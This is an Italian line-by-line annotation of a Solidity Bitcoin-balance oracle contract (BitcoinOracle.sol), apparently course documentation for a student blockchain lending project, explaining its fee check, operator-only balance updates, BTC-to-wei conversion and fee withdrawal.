

Spiegazione riga per riga del codice

Questo documento copre **ogni file .sol e .py** del progetto P2PBC 2025/26 con annotazione riga per riga. Ogni tabella ha tre colonne: **L#** (numero o intervallo di righe), **Codice** (testo della/e riga/righe), **Spiegazione** (cosa fa e perché). Per costanti, blocchi strutturali o righe identiche raggruppate, l'intervallo copre più righe.

Riferimenti incrociati al documento di consegna sono segnati come **Spec \$x.y**.

File coperti:

- contracts/BitcoinOracle.sol (71 righe)
- contracts/LendingPool.sol (~455 righe, post-pulizia dead code)
- contracts/LoanContract.sol (~517 righe)
- contracts/LocalProxy.sol (12 righe)
- contracts/mocks/MockBitcoinOracle.sol (19 righe)
- contracts/mocks/LendingPoolV2.sol (33 righe)
- contracts/vulnerable/LendingPoolVulnerable.sol (151 righe)
- contracts/vulnerable/ReentrancyAttacker.sol (59 righe)
- oracle/oracle_service.py (221 righe)
- scripts/InitialSetup.py (316 righe)
- scripts/DemoOperations.py (570 righe)
- scripts/AutoVoter.py (278 righe)
- scripts/GasMeasurement.py (820 righe)

contracts/BitcoinOracle.sol

L#	Codice	Spiegazione
1	// SPDX-License-Identifier: MIT	Identificatore di licenza richiesto dal compiler.
2	pragma solidity ^0.8.22;	Versione minima solc 0.8.22. ^ permette patch ma non minor.
3		Riga vuota di separazione.
4	contract BitcoinOracle {	Inizio definizione contratto. Endpoint on-chain dell'oracolo (Spec §1.4).
5	uint256 public constant MIN_ORACLE_FEE = 45667000000000;	Fee minima per requestUpdate: 45667×0.1 gwei (Spec §1.3). Calibrata sul gas SSTORE su slot zero (Gsset=20000).
6	uint256 public constant BTC_ETH_RATE = 30;	Tasso fisso 1 BTC = 30 ETH (Spec §1.3).
7	uint256 public constant SATOSHI_PER_BTC = 1e8;	Denominatore per conversione satoshi → BTC.
8		Riga vuota.
9	address public immutable operator;	Operatore autorizzato a chiamare update(). Settato al deploy, immutabile.
10		Riga vuota.
11	// keccak256(abi.encodePacked(btcAddressString)) => satoshi balance	Commento spiega chiave/valore della mapping.
12	mapping(bytes32 => uint256) private balances;	Mapping hash-address-BTC → saldo in satoshi. Private (esposta solo via getBalance).
13		Riga vuota.
14-17	event UpdateRequested(bytes32 indexed btcAddressHash, address indexed requester);	Evento emesso quando un utente paga la fee per richiedere update. Letto dal daemon Python.
18	event BalanceUpdated(bytes32 indexed btcAddressHash, uint256 newBalance);	Evento emesso quando operator scrive il nuovo saldo. Confermato a DemoOperations.py.
19		Riga vuota.
20	constructor() {	Costruttore senza argomenti.
21	operator = msg.sender;	Chi deploys il contratto diventa operator immutabile. In InitialSetup.py è oracle_operator.
22	}	Fine costruttore.
23		Riga vuota.
24	modifier onlyOperator() {	Inizio modifier.
25	require(msg.sender == operator, "Only operator can call this");	Guard: solo l'operator può eseguire la funzione che applica il modifier.
26	_;	Continua esecuzione body.
27	}	Fine modifier.
28		Riga vuota.
29	// Borrower paga la fee → oracle Python ascolta l'evento e aggiorna il saldo	Commento di flusso applicativo.
30	function requestUpdate(bytes32 btcAddressHash) external payable {	Funzione payable pubblica per richiedere aggiornamento di un address Bitcoin.
31	require(msg.value >= MIN_ORACLE_FEE, "Fee too low");	Verifica fee minima (Spec §1.3).
32	emit UpdateRequested(btcAddressHash, msg.sender);	Emette evento per il daemon off-chain. Niente stato cambia: solo segnalazione.
33	}	Fine funzione.
34		Riga vuota.
35	// Oracle Python chiama questa dopo aver letto i blk.dat	Commento di scopo.
36-39	function update(bytes32 btcAddressHash, uint256 satoshi) external onlyOperator {	Scrittura del saldo. Solo operator. Argomenti: hash address + balance in satoshi.
40	balances[btcAddressHash] = satoshi;	Salva il saldo nella mapping. Trigger SSTORE (caro su slot zero, da cui formula MIN_ORACLE_FEE).
41	emit BalanceUpdated(btcAddressHash, satoshi);	Emette evento. DemoOperations.py aspetta questo evento via eth_getLogs.
42	}	Fine funzione.
43		Riga vuota.
44-46	function getBalance(bytes32 btcAddressHash) external view returns (uint256) {	View accessorio: legge il saldo memorizzato.
47	return balances[btcAddressHash];	Ritorna il valore (default 0 se mai scritto).
48	}	Fine.
49		Riga vuota.
50	// satoshi * 30 ETH / 1e8 → wei equivalent	Commento formula conversione.
51-53	function getEthEquivalent(bytes32 btcAddressHash) external view returns (uint256) {	Conversione: ritorna l'equivalente in wei. Usata da LendingPool.resolveProposal per il check di liquidità (Spec §1.4).

L#	Codice	Spiegazione
54-56	<code>return (balances[btcAddressHash] * BTC_ETH_RATE * 1 ether) / SATOSHI_PER_BTC;</code>	Formula: $\text{sat} \times 30 \times 1\text{e}18 / 1\text{e}8 = \text{wei}$. Ordine moltiplicazione prima della divisione preserva precisione.
57	<code>}</code>	Fine.
58		Riga vuota.
59	<code>// utility: hash stringa BTC address → chiave bytes32</code>	Commento utility.
60-62	<code>function hashBtcAddress(string calldata btcAddress) external pure returns (bytes32) {</code>	Helper pure: ritorna l'hash che funge da chiave nella mapping.
63	<code>return keccak256(abi.encodePacked(btcAddress));</code>	keccak256 della stringa. La stessa formula usata off-chain da oracle_service.py via Web3.keccak(text=...).
64	<code>}</code>	Fine.
65		Riga vuota.
66	<code>// operator ritira le fee accumulate</code>	Commento scopo.
67	<code>function withdrawFees() external onlyOperator {</code>	Solo operator. Drena le fee raccolte dalle requestUpdate.
68	<code>(bool ok,) = operator.call{value: address(this).balance}("");</code>	Trasferisce l'intero balance del contratto verso operator via low-level call.
69	<code>require(ok, "Withdraw failed");</code>	Revert se trasferimento fallisce.
70	<code>}</code>	Fine.
71	<code>}</code>	Fine contratto.
